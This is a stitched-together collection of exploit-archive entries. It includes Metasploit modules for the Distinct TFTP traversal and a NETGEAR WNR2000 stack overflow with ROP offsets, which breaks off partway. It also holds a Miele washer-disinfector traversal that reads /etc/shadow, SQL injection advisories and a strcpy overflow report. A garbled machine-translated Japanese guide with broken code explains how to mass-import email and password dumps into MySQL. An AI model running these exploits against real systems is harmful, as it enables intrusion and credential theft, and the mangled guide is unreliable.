    # We create an exe payload, we have to get remote execution in 2 steps
    exe = generate_payload_exe
    exe_name = Rex::Text::rand_text_alpha(8) + ".exe"
    upload_file("windows\\system32\\", exe_name, exe)

    # We create the mof file and upload (second step)
    mof_name = Rex::Text::rand_text_alpha(8) + ".mof"
    mof = generate_mof(mof_name, exe_name)
    upload_file("WINDOWS\\system32\\wbem\\mof\\", mof_name, mof)

    print_status("Everything is ready, waiting for a session ... ")
    handler

    #Taken from the spooler exploit writen byt jduck and HDMoore
    cnt = 1
    while session_created? == false and cnt < 25
      ::IO.select(nil, nil, nil, 0.25)
      cnt += 1
    end
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Rex::Proto::TFTP
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Distinct TFTP 3.10 Writable Directory Traversal Execution",
      'Description'    => %q{
          This module exploits a vulnerability found in Distinct TFTP server.  The
        software contains a directory traversal vulnerability that allows a remote
        attacker to write arbitrary file to the file system, which results in
        code execution under the context of 'SYSTEM'.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'modpr0be',  #Initial discovery, PoC (Tom Gregory)
          'sinn3r'     #Metasploit
        ],
      'References'     =>
        [
          ['OSVDB', '80984'],
          ['EDB', '18718'],
          ['URL', 'http://www.spentera.com/advisories/2012/SPN-01-2012.pdf'],
          ['CVE', '2012-6664']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00",
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Distinct TFTP 3.10 on Windows', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Apr 8 2012",
      'DefaultTarget'  => 0))

    register_options([
      OptInt.new('DEPTH', [false, "Levels to reach base directory",10]),
      OptAddress.new('RHOST', [true, "The remote TFTP server address"]),
      OptPort.new('RPORT', [true, "The remote TFTP server port", 69])
    ], self.class)
  end

  def upload(filename, data)
    tftp_client = Rex::Proto::TFTP::Client.new(
      "LocalHost"  => "0.0.0.0",
      "LocalPort"  => 1025 + rand(0xffff-1025),
      "PeerHost"   => datastore['RHOST'],
      "PeerPort"   => datastore['RPORT'],
      "LocalFile"  => "DATA:#{data}",
      "RemoteFile" => filename,
      "Mode"       => "octet",
      "Context"    => {'Msf' => self.framework, "MsfExploit" => self },
      "Action"     => :upload
    )

    ret = tftp_client.send_write_request { |msg| print_status(msg) }
    while not tftp_client.complete
      select(nil, nil, nil, 1)
      tftp_client.stop
    end
  end

  def exploit
    peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"

    # Setup the necessary files to do the wbemexec trick
    exe_name = rand_text_alpha(rand(10)+5) + '.exe'
    exe      = generate_payload_exe
    mof_name = rand_text_alpha(rand(10)+5) + '.mof'
    mof      = generate_mof(mof_name, exe_name)

    # Configure how deep we want to traverse
    depth  = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
    levels = "../" * depth

    # Upload the malicious executable to C:\Windows\System32\
    print_status("#{peer} - Uploading executable (#{exe.length.to_s} bytes)")
    upload("#{levels}WINDOWS\\system32\\#{exe_name}", exe)

    # Let the TFTP server idle a bit before sending another file
    select(nil, nil, nil, 1)

    # Upload the mof file
    print_status("#{peer} - Uploading .mof...")
    upload("#{levels}WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
  end
end
            
[+] Title: wifirxpower - Local Stack Based Buffer Overflow
[+] Credits / Discovery: Nassim Asrir
[+] Author Email: wassline@gmail.com || https://www.linkedin.com/in/nassim-asrir-b73a57122/
[+] Author Company: Henceforth
[+] CVE: N/A

Vendor:
===============

https://github.com/cnlohr/wifirxpower
  
 
Download:
===========

https://github.com/cnlohr/wifirxpower
 
 
Vulnerability Type:
===================

Local Stack Based Buffer Overflow


issue:
===================

'wifirx.c' contain a vulnerable code in the line '111' the developer use the 'strcpy' function and does not check the buffer destination and cause a Stack Oveflow. 
 
Vulnerable Code (102 - 124) wifirx.c:
===================
int GetQuality( const char * interface, int * noise )
{
	int sockfd;
	struct iw_statistics stats;
	struct iwreq req;


	memset(&stats, 0, sizeof(stats));
	memset(&req, 0, sizeof(struct iwreq));
	strcpy( req.ifr_name, interface );
	req.u.data.pointer = &stats;
	req.u.data.length = sizeof(struct iw_statistics);
#ifdef CLEAR_UPDATED
	req.u.data.flags = 1;
#endif

	/* Any old socket will do, and a datagram socket is pretty cheap */
	if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
		if( first ) perror("Could not create simple datagram socket");
		first = 0;
		//exit(EXIT_FAILURE);
		return -1;
	}
 

Exploit:
=========

1 - ./wifirx aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

2 - r $(python -c 'print"A"*41')

Backtrace: 
=========
/lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x37)[0x7ffff6ec3e37]
/lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x0)[0x7ffff6ec3e00]
/home/bugtraq/Desktop/wifirxpower-master/wifirx[0x401aaa]
/home/bugtraq/Desktop/wifirxpower-master/wifirx[0x401d21]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xed)[0x7ffff6ddb7ed]
/home/bugtraq/Desktop/wifirxpower-master/wifirx[0x401449]

Memory Map:
===========
00606000-0062a000 rw-p 00000000 00:00 0                                  [heap]
7ffff6379000-7ffff638e000 r-xp 00000000 08:01 7606631                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff638e000-7ffff658d000 ---p 00015000 08:01 7606631                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff658d000-7ffff658e000 r--p 00014000 08:01 7606631                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff658e000-7ffff658f000 rw-p 00015000 08:01 7606631                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff658f000-7ffff6594000 r-xp 00000000 08:01 3027725                    /usr/lib/x86_64-linux-gnu/libXdmcp.so.6.0.0
7ffff6594000-7ffff6793000 ---p 00005000 08:01 3027725                    /usr/lib/x86_64-linux-gnu/libXdmcp.so.6.0.0
7ffff6793000-7ffff6794000 r--p 00004000 08:01 3027725                    /usr/lib/x86_64-linux-gnu/libXdmcp.so.6.0.0
7ffff6794000-7ffff6795000 rw-p 00005000 08:01 3027725                    /usr/lib/x86_64-linux-gnu/libXdmcp.so.6.0.0
7ffff6795000-7ffff6797000 r-xp 00000000 08:01 3027706                    /usr/lib/x86_64-linux-gnu/libXau.so.6.0.0
7ffff6797000-7ffff6996000 ---p 00002000 08:01 3027706                    /usr/lib/x86_64-linux-gnu/libXau.so.6.0.0
7ffff6996000-7ffff6997000 r--p 00001000 08:01 3027706                    /usr/lib/x86_64-linux-gnu/libXau.so.6.0.0
7ffff6997000-7ffff6998000 rw-p 00002000 08:01 3027706                    /usr/lib/x86_64-linux-gnu/libXau.so.6.0.0
7ffff6998000-7ffff699a000 r-xp 00000000 08:01 7602253                    /lib/x86_64-linux-gnu/libdl-2.15.so
7ffff699a000-7ffff6b9a000 ---p 00002000 08:01 7602253                    /lib/x86_64-linux-gnu/libdl-2.15.so
7ffff6b9a000-7ffff6b9b000 r--p 00002000 08:01 7602253                    /lib/x86_64-linux-gnu/libdl-2.15.so
7ffff6b9b000-7ffff6b9c000 rw-p 00003000 08:01 7602253                    /lib/x86_64-linux-gnu/libdl-2.15.so
7ffff6b9c000-7ffff6bb9000 r-xp 00000000 08:01 3015326                    /usr/lib/x86_64-linux-gnu/libxcb.so.1.1.0
7ffff6bb9000-7ffff6db8000 ---p 0001d000 08:01 3015326                    /usr/lib/x86_64-linux-gnu/libxcb.so.1.1.0
7ffff6db8000-7ffff6db9000 r--p 0001c000 08:01 3015326                    /usr/lib/x86_64-linux-gnu/libxcb.so.1.1.0
7ffff6db9000-7ffff6dba000 rw-p 0001d000 08:01 3015326                    /usr/lib/x86_64-linux-gnu/libxcb.so.1.1.0
7ffff6dba000-7ffff6f6e000 r-xp 00000000 08:01 7606751                    /lib/x86_64-linux-gnu/libc-2.15.so
7ffff6f6e000-7ffff716d000 ---p 001b4000 08:01 7606751                    /lib/x86_64-linux-gnu/libc-2.15.so
7ffff716d000-7ffff7171000 r--p 001b3000 08:01 7606751                    /lib/x86_64-linux-gnu/libc-2.15.so
7ffff7171000-7ffff7173000 rw-p 001b7000 08:01 7606751                    /lib/x86_64-linux-gnu/libc-2.15.so
7ffff7173000-7ffff7178000 rw-p 00000000 00:00 0 
7ffff7178000-7ffff7188000 r-xp 00000000 08:01 3022902                    /usr/lib/x86_64-linux-gnu/libXext.so.6.4.0
7ffff7188000-7ffff7387000 ---p 00010000 08:01 3022902                    /usr/lib/x86_64-linux-gnu/libXext.so.6.4.0
7ffff7387000-7ffff7388000 r--p 0000f000 08:01 3022902                    /usr/lib/x86_64-linux-gnu/libXext.so.6.4.0
7ffff7388000-7ffff7389000 rw-p 00010000 08:01 3022902                    /usr/lib/x86_64-linux-gnu/libXext.so.6.4.0
7ffff7389000-7ffff738b000 r-xp 00000000 08:01 3022982                    /usr/lib/x86_64-linux-gnu/libXinerama.so.1.0.0
7ffff738b000-7ffff758a000 ---p 00002000 08:01 3022982                    /usr/lib/x86_64-linux-gnu/libXinerama.so.1.0.0
7ffff758a000-7ffff758b000 r--p 00001000 08:01 3022982                    /usr/lib/x86_64-linux-gnu/libXinerama.so.1.0.0
7ffff758b000-7ffff758c000 rw-p 00002000 08:01 3022982                    /usr/lib/x86_64-linux-gnu/libXinerama.so.1.0.0
7ffff758c000-7ffff75a4000 r-xp 00000000 08:01 7606754                    /lib/x86_64-linux-gnu/libpthread-2.15.so
7ffff75a4000-7ffff77a3000 ---p 00018000 08:01 7606754                    /lib/x86_64-linux-gnu/libpthread-2.15.so
7ffff77a3000-7ffff77a4000 r--p 00017000 08:01 7606754                    /lib/x86_64-linux-gnu/libpthread-2.15.so
7ffff77a4000-7ffff77a5000 rw-p 00018000 08:01 7606754                    /lib/x86_64-linux-gnu/libpthread-2.15.so
7ffff77a5000-7ffff77a9000 rw-p 00000000 00:00 0 
7ffff77a9000-7ffff78a4000 r-xp 00000000 08:01 7606762                    /lib/x86_64-linux-gnu/libm-2.15.so
7ffff78a4000-7ffff7aa3000 ---p 000fb000 08:01 7606762                    /lib/x86_64-linux-gnu/libm-2.15.so
7ffff7aa3000-7ffff7aa4000 r--p 000fa000 08:01 7606762                    /lib/x86_64-linux-gnu/libm-2.15.so
7ffff7aa4000-7ffff7aa5000 rw-p 000fb000 08:01 7606762                    /lib/x86_64-linux-gnu/libm-2.15.so
7ffff7aa5000-7ffff7bd5000 r-xp 00000000 08:01 3015330                    /usr/lib/x86_64-linux-gnu/libX11.so.6.3.0
7ffff7bd5000-7ffff7dd5000 ---p 00130000 08:01 3015330                    /usr/lib/x86_64-linux-gnu/libX11.so.6.3.0
7ffff7dd5000-7ffff7dd6000 r--p 00130000 08:01 3015330                    /usr/lib/x86_64-linux-gnu/libX11.so.6.3.0
7ffff7dd6000-7ffff7dda000 rw-p 00131000 08:01 3015330                    /usr/lib/x86_64-linux-gnu/libX11.so.6.3.0
7ffff7dda000-7ffff7dfc000 r-xp 00000000 08:01 7606759                    /lib/x86_64-linux-gnu/ld-2.15.so
7ffff7fd5000-7ffff7fdb000 rw-p 00000000 00:00 0 
7ffff7ff7000-7ffff7ffb000 rw-p 00000000 00:00 0 
7ffff7ffb000-7ffff7ffc000 r-xp 00000000 00:00 0                          [vdso]
7ffff7ffc000-7ffff7ffd000 r--p 00022000 08:01 7606759                    /lib/x86_64-linux-gnu/ld-2.15.so
7ffff7ffd000-7ffff7fff000 rw-p 00023000 08:01 7606759                    /lib/x86_64-linux-gnu/ld-2.15.so
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0                          [stack]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

 
Tested on:
=============== 

Linux Ubuntu x86_64




 
 
            
# # # # #
# Exploit Title: Gr8 Tutorial Script - SQL Injection
# Google Dork: N/A
# Date: 24.03.2017
# Vendor Homepage: http://gr8script.com/
# Software: http://gr8script.com/gr8_tutorial_script.php
# Demo: http://www.gr8script.com/gr8tutorial/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/users.php?user=[SQL]
# http://localhost/[PATH]/track/54[SQL]
# # # # #
            
# # # # #
# Exploit Title: Gr8 Gallery Script - SQL Injection
# Google Dork: N/A
# Date: 24.03.2017
# Vendor Homepage: http://gr8script.com/
# Software: http://gr8script.com/gr8gallery.php
# Demo: http://www.gr8script.com/gr8gallery/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/video-gallery/X[SQL]
# http://localhost/[PATH]/photo-gallery/X[SQL]
# # # # #
            

1。 MySQLデータをインポートするための予備設定

1.ライブラリとテーブルの統一エンコードをUTF8に設定し、データのエンコードに従って変更します(すべてのデータはUTF-8形式に変換できます。

xnwm2qffqvh7465.png

2。MySQLデータベースの構成を最適化します

my.ini最適化された構成:

[mysql]

デフォルト-Character-set=utf8

[mysqld]

ポート=3306

beadir=f:/phpstudy_pro/extensions/mysql5.7.26/

datadir=f:/phpstudy_pro/extensions/mysql5.7.26/data/

Character-Set-Server=utf8 #defaultデータベースエンコーディング

Default-Storage-Engine=myisam #databaseエンジン、Myisamはクエリに適しています

max_connections=1000 #maximumクライアントとサーバー間の接続の数、デフォルトは1000です

collation-server=utf8_unicode_ci

init_connect='名前utf8'を設定

innodb_buffer_pool_size=4096m

innodb_flush_log_at_trx_commit=2#2に設定すると、このモードは0よりも高速で安全です。オペレーティングシステムがクラッシュしたり、システムの電源を切った場合、すべてのトランザクションデータが前の秒で失われる場合があります。

innodb_lock_wait_timeout=120 #defaultパラメーター:innodb_lock_wait_timeoutロック待機時間を120年代に設定します。データベースロックがこの時間を超えると、エラーが報告されます。

innodb_log_buffer_size=16m #itは16m-64MBの値をとることをお勧めし、独自のメモリは8gです。

innodb_log_file_size=256m#一般に、256mはパフォーマンスと回復速度の両方を考慮することができます。大小を問わずお勧めできません

Interactive_Timeout=120#インタラクティブ接続を閉じる前にサーバーがアクティビティを待機する秒数

join_buffer_size=16m#ジョイントクエリ操作で使用できるバッファサイズ。 100個のスレッドが接続されている場合、16m*100を占有します

key_buffer_size=512m #indexバッファー、通常は約4GBのメモリを持つサーバー用に、このパラメーターは256mまたは384mに設定できます

log_error_verbosity=2 #ERRORロギングコンテンツ

max_allowed_packet=128m #limitサーバーが受け入れたパケットサイズ、デフォルトは128mです

MAX_HEAP_TABLE_SIZE=64M#デフォルト値をセットします

myisam_max_sort_file_size=64g ## mysqlインデックスが再構築されたときに使用できる最大一時ファイルサイズを使用すると、デフォルト値は

myisam_sort_buffer_size=150m #buffer myisamテーブルが変更されたときに並べ替えるために必要

read_buffer_size=512kb #cached連続的にスキャンしたブロック。このキャッシュは、Myisamテーブルだけでなく、8Gメモリだけでなく、クロスストレージエンジンです。512kbにすることをお勧めします

read_rnd_buffer_size=4m#mysqlのランダム読み取りバッファーサイズは、終末のメッセンジャーを示唆しています

server_id=1

#SKIP外部ロックのSKIP-EXTERNAL-LOCKING=

SORT_BUFFER_SIZE=256KB #Sortingバッファー

table_open_cache=3000

thread_cache_size=16

tmp_table_size=64m

wait_timeout=120

secure-file-priv=''#任意のディレクトリにインポートできます

log-error='f:/phpstudy_pro/extensions/mysql5.7.26/data'

[クライアント]

ポート=3306

デフォルト-Character-set=utf8

2。さまざまなデータインポート方法

インポートされたデータ型は、SQLデータ、TXTテキストデータ、CVS(XLS)データ、およびアクセスおよびMSSQLデータ形式のデータです。

1.TXTテキスト形式のデータインポート

(1)。 TXTの体積は400mを超えません。それを超えると、均等に分割されます。

(2)複数の小さなファイルのTXTファイルとターゲットTXTSをマージする

TXTファイルをマージするコマンド:

type *.txt all.txt(windows)

x0yzr3b2mnz7466.pngcat * 1.txt(linux)

(3)TXTファイルのクイックインポート方法(タブ間隔分割、ENTERおよびLINE BREADYを使用)コマンド:

mysql -u root -p

テストを使用します。

データインフィル 'J:/data/weibo/weibo/weibo_1.txt' '\ r \ n'(tel、uid)で終了した「\ t」ラインで終了したweibo_info1フィールドにロードします。

注:ここでインポートされるTXTファイルパスは相対的な物理パスです。\ tは、フィールド間の分割記号がタブ(スペース)であることを意味します。

(4) Quick import method of txt file (using -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

データを浸透させる 'e:/test.txt'は、「\ r \ n」(tel、qq)で終了した「 '----」で終了したテーブルテストフィールドに終了しました。

(5)TXTファイルのクイックインポート方法(文字分離、キャリッジ、ラインブレイクを使用):

データを浸透させる 'e:/test.txt' '' \ r \ n '(tel、qq)で終了したラインで終了したテーブルテストフィールドに

(6)TXTテキストフィールドに二重引用文字を含むフィールドは、予期しない終了を引き起こします。ここでは、コマンドごとに囲まれたものを使用して、二重引用符を削除します。

load data infile 'E:/test.txt' into table test FIELDS TERMINATED BY ',' enclosed by ''' lines terminated by '\r\n' (tel,qq);

(7)負荷データのインポートパラメーターの詳細

'によって終了したフィールド、#は、フィールドデータがコンマで区切られることを意味します。

'\ n'#によって終了したフィールドは、各データのライン間のセパレーターが新しいラインシンボル(Linux)であることを示します

'\ r \ n'#によって終了した行は、各データライン間のセパレーターが新しいラインシンボル(Windows)であることを示します

''#deven \ delete \をフィールド値で削除することを意味します

'' '#フィールド値から二重引用符を削除することを意味します

(Tel、QQ)#テーブルに対応するフィールド名、これはtest.txtファイルのデータフィールド名に対応する必要があります

(8)小さなTXTファイル(TAB以外のレギュラースペーサー)、単純な操作NAVICATを使用してデータをインポートできます

セグメンテーションでインポートされているデータフィールドとターゲット列のデータに注意してください。

lav32t01jbo7467.png

zqvyy4x1iln7468.png

afo4zzaqvz17469.png

(9)複数のTXTファイルをMySQLにインポートします

インポートTXTファイルをバッチする場合は、バッチファイルを介して複数のインポートステートメントの実行を完了することができます。

SQLステートメントファイルを作成するには、複数のプログラミング言語を使用して、インポートするTXTファイルの名前を取得してSQLコマンドを作成できます。

ここでは、Pythonを使用してPythonファイルcreate_sql.py、サンプルコードを作成します。

インポートグローブ

writefile=open( 'c:/users/backlion/desktop/data/user_sql.txt'、 'w')

writefile.write( 'テストを使用; \ n'を使用)

glob.globのファイル名(r'c:/users/backlion/desktop/data/*。txt '):の場合

writefile.write( 'load data local infile' + '' '' ' + filename.replace(' \\ '、'/') +' ' +' into ' +' '' + '-----' + '' ' +' '' + '' '' '' '' '' '' '' + '\ r \ n' + ' +' '' + '' + '; \ n'

writefile.close()

3rv30an2jkz7470.png

このようにして、データフォルダーにインポートされるTXTファイルのすべての名前はSQLステートメントに作成され、user_sql.txtに配置されます。コンテンツはほぼ次のとおりです。

jwwdjnqkcqb7471.pngテストとしてデータベースを作成し、テーブル名はユーザー、フィールド名は電子メールとパスワードです。

letxt4zwnjt7472.pngCreate .BATバッチファイル実行(1)生成されたSQLコマンドファイル

d: \ phpstudy \ phptutorial \ mysql \ bin \ mysql.exe - local -infile -u root -proot c:/users/backlion/desktop/data/user_sql.txt

一時停止

lc4kbrpa2r27473.png

2。CSVファイルをMySQLにインポートします

(1)。単一のCVSインポートMySQL、クイックコマンド

mysql -u root -p

テストを使用します。

データローカルインフィル 'c:/users/backlion/desktop/data/use1.csv' '' \ r \ n '(email、password)で終了した「\ r \ n」(電子メール、パスワード)で終了したテーブルユーザーフィールドにロードします。

(2)MySQLへの複数のCVSバッチインポート

インポートTXTファイルをバッチする場合は、バッチファイルを介して複数のインポートステートメントの実行を完了することができます。

CSVファイルは、「、」コンマをスプリッターとして使用し、二重引用符または単一の引用に囲む必要があります。

SQLステートメントファイルを作成するには、複数のプログラミング言語を使用して、インポートするTXTファイルの名前を取得してSQLコマンドを作成できます。

ここでは、pythonを使用してpythonファイルcreate_sql.py、サンプルコードを作成します:(次のデータ形式CSVファイル)

インポートグローブ

writefile=open( 'c:/users/backlion/desktop/data/user_sql.txt'、 'w')

writefile.write( 'テストを使用; \ n'を使用)

glob.globのファイル名(r'c:/users/backlion/desktop/data/*。csv '):の場合

writefile.write( 'load data local infile' + '' '' ' + filename.replace(' \\ '、'/') +' ' +'に「 + '' ' +」、' + '' ' +' '' + '' '' '' '' '' ' + r' \ r \ n ' +' + '' + '' + '; \ n'; \ n ';

writefile.close()

ru4jne02mc07474.png

このようにして、データフォルダーにインポートされるTXTファイルのすべての名前はSQLステートメントに作成され、user_sql.txtに配置されます。コンテンツはほぼ次のとおりです。

vqgsx5ho5a07475.pngデータベースの作成テストとして、テーブル名はユーザー、フィールド名は電子メールとパスワードです

15gbfcyhjfm7476.pngCreate.BATバッチファイル実行(1)SQLコマンドファイルを生成します

d: \ phpstudy \ phptutorial \ mysql \ bin \ mysql.exe - local -infile -u root -proot c:/users/backlion/desktop/data/user_sql.txt

一時停止

(3)複数のCSVファイルをマージします

コピー *.csv all.csv

iabfx5z0ge37477.png

(3)NAVICATを介してCVS形式ファイルをインポートします

2。SQL形式でMySQLをインポートします

(1)単一のSQL形式でファイルをインポートしても、エンコードの問題を検討する必要はありません。データベースを入力した後、NAVICATを使用してデータベース属性を編集し、UTF8エンコードに変換してからインデックスを作成できます。

コマンドを使用してください:

04bgfx503oe7478.pngmysql -u root -p

テストを使用します。

ソースD: \ test.sql;

jdngugzmpay7479.png(2)、バッチ複数のsqlファイルをインポートして新しいall.sql:vim all.sqlを作成します

書き込み:

ソース1.SQL

ソース2.SQL

.

ソース53.SQL

ソース54.sql

edcfkr5xvyz7480.png次に実行します。

mysql source all.sql

n3j5lwdiavn7481.png

(3)複数のSQLファイルをマージします

コピー *.sql all.sql

vbyrbwvfxkf7482.png

(4)NAVICATを介してSQLフォーマットファイルをインポートします

3。スキルのインポート

1。統計MySQLデータの複製の数

mysqlselect email、count(email)as count as user groupからのcount by email

mysqlcount(email)1;

thvqwop2qkz7483.png

または

[ユーザーから電子メールから[ユーザー]を選択します(count(email)1を持っている電子メールでユーザーグループから電子メールを選択します);

koa31wbgkps7484.png

2。データ削除

mysqlの作成テーブルtmpの選択電子メール、ユーザーグループからのパスワード、電子メール、パスワード。

または

mysqlの作成テーブルtmpユーザーグループから電子メールを電子メールで選択します。

MySQLドロップテーブルユーザー。

mysqlは、テーブルTMPの変更をユーザーに変更します。

sjrutgx2mrd7485.pngまたは

1)プライマリキー値の複製アイテムで選択したフィールドまたはレコードを選択する

新しいasを作成する(電子メール、ユーザーグループから電子メール、パスワードを電子メールで選択し、パスワードがcount(*)1);

2)インデックスを作成する(初めて実行するだけ)

new(email)でインデックスメールを作成します。

3)フィールドのレコードまたはプライマリキー値を削除して、アイテムを重複させます

where where email(newから電子メールを選択);

4)一時テーブルを削除します

新しいテーブルをドロップします。

5fd5ciyouon7486.png

3.インデックスとクエリの最適化を追加します

一般的に使用されるクエリフィールドにインデックスを追加し、ファジークラスにBtreeストレージタイプを使用し、正確なクラスにハッシュストレージタイプを使用します。 NAVICATを使用してテーブルを選択してテーブルメッセージを開き、DDLタブを選択することをお勧めします。テーブルのSQLをはっきりと表示し、一目でインデックスがあるかどうかを確認できます。次に、データベース名を右クリックしてコンソール関数を選択して、インデックスをすばやく追加します。

zhbxdsisy5m7487.png4。補足文字をサポートするために、絵文字や文字ごとに4バイトなどの特殊文字をインポートします。データベースとテーブルの文字セットをUTF8MB4に設定できます

5。XLSおよびCVSファイルは拡大形式で、NAVICATを使用してデータベース属性を編集し、UTF8エンコードに変換してからインデックスを作成することをお勧めします。

6.最初に、NAVICATを介してデータベース、テーブル、フィールドなどのデータベース構造を作成し、インデックスを作成し、最終的にデータをインポートします(これは大量のデータを持つデータ用です。最初に大規模なデータをインポートしてからインデックスを作成すると、長い間スタックしてスタックします)

7.MSSQLをMySQLデータベースにインポートし、NAVICATインポート機能にMSSQLデータベースソースをインポートします

glqfhpbfxnl7488.png

Title:
======
Miele Professional PG 8528 - Web Server Directory Traversal

Author:
=======
Jens Regel, Schneider & Wulf EDV-Beratung GmbH & Co. KG

CVE-ID:
=======
CVE-2017-7240

Risk Information:
=================
Risk Factor: Medium
CVSS Base Score: 5.0
CVSS Vector: CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS Temporal Vector: CVSS2#E:POC/RL:OF/RC:C
CVSS Temporal Score: 3.9

Timeline:
=========
2016-11-16 Vulnerability discovered
2016-11-10 Asked for security contact
2016-11-21 Contact with Miele product representative
2016-12-03 Send details to the Miele product representative
2017-01-19 Asked for update, no response
2017-02-03 Asked for update, no response
2017-03-23 Public disclosure

Status:
=======
Published

Affected Products:
==================
Miele Professional PG 8528 (washer-disinfector) with ethernet interface.

Vendor Homepage:
================
https://www.miele.co.uk/professional/large-capacity-washer-disinfectors-560.htm?mat=10339600&name=PG_8528

Details:
========
The corresponding embeded webserver "PST10 WebServer" typically listens to port 80 and is prone to a directory traversal attack, therefore an unauthenticated attacker may be able to exploit this issue to access sensitive information to aide in subsequent attacks.

Proof of Concept:
=================
~$ telnet 192.168.0.1 80
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character ist '^]'.
GET /../../../../../../../../../../../../etc/shadow HTTP/1.1

HTTP/1.1 200 OK
Date: Wed, 16 Nov 2016 11:58:50 GMT
Server: PST10 WebServer
Content-Type: application/octet-stream
Last-Modified: Fri, 22 Feb 2013 10:04:40 GMT
Content-disposition: attachment; filename="./etc/shadow"
Accept-Ranges: bytes
Content-Length: 52

root:$1$$Md0i[...snip...]Z001:10933:0:99999:7:::

Fix:
====
We are not aware of an actual fix.
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'time'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::CRand

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'NETGEAR WNR2000v5 (Un)authenticated hidden_lang_avi Stack Overflow',
      'Description'    => %q{
        The NETGEAR WNR2000 router has a buffer overflow vulnerability in the hidden_lang_avi
        parameter.
        In order to exploit it, it is necessary to guess the value of a certain timestamp which
        is in the configuration of the router. An authenticated attacker can simply fetch this
        from a page, but an unauthenticated attacker has to brute force it.
        Bruteforcing the timestamp token might take a few minutes, a few hours, or days, but
        it is guaranteed that it can be bruteforced.
        This module implements both modes, and it works very reliably. It has been tested with
        the WNR2000v5, firmware versions 1.0.0.34 and 1.0.0.18. It should also work with hardware
        revisions v4 and v3, but this has not been tested - with these routers it might be necessary
        to adjust the LibcBase variable as well as the gadget addresses.
      },
      'Author'         =>
        [
          'Pedro Ribeiro <pedrib@gmail.com>'         # Vulnerability discovery and Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => ['unix'],
      'References'     =>
        [
          ['CVE', '2016-10174'],
          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
          ['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'],
          ['URL', 'http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability']
        ],
      'Targets'        =>
        [
          [ 'NETGEAR WNR2000v5',
            {
              'LibcBase'             => 0x2ab24000,         # should be the same offset for all firmware versions (in libuClibc-0.9.30.1.so)
              'SystemOffset'         => 0x547D0,
              'GadgetOffset'         => 0x2462C,
  #The ROP gadget will load $sp into $a0 (which will contain the system() command) and call $s0 (which will contain the address of system()):
  #LOAD:0002462C                 addiu   $a0, $sp, 0x40+arg_0
  #LOAD:00024630                 move    $t9, $s0
  #LOAD:00024634                 jalr    $t9
              'Payload'        =>
                {
                  'BadChars'         => "\x00\x25\x26",
                  'Compat'  => {
                    'PayloadType'    => 'cmd_interact',
                    'ConnectionType' => 'find',
                  },
                },
            }
          ],
        ],
      'Privileged'     => true,
      'Arch'           => ARCH_CMD,
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
      'DisclosureDate'  => 'Dec 20 2016',
      'DefaultTarget'   => 0))
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('HttpUsername', [true, 'Username for the web interface (not needed but exploitation is faster)', 'admin']),
        OptString.new('HttpPassword', [true, 'Password for the web interface (not needed but exploitation is faster)', 'password']),
      ], self.class)
    register_advanced_options(
      [
        OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]),
        OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting a shell', 200])
      ], self.class)
  end

  def check
    res = send_request_cgi({
      'uri'     => '/',
      'method'  => 'GET'
    })
    if res && res.headers['WWW-Authenticate']
      auth = res.headers['WWW-Authenticate']
      if auth =~ /WNR2000v5/
        return Exploit::CheckCode::Detected
      elsif auth =~ /WNR2000v4/ || auth =~ /WNR2000v3/
        return Exploit::CheckCode::Unknown
      end
    end
    Exploit::CheckCode::Safe
  end

  def uri_encode (str)
    "%" + str.scan(/.{2}|.+/).join("%")
  end

  def calc_address (libc_base, offset)
    addr = (libc_base + offset).to_s(16)
    uri_encode(addr)
  end

  def get_current_time
    res = send_request_cgi({
      'uri'     => '/',
      'method'  => 'GET'
    })
    if res && res['Date']
      date = res['Date']
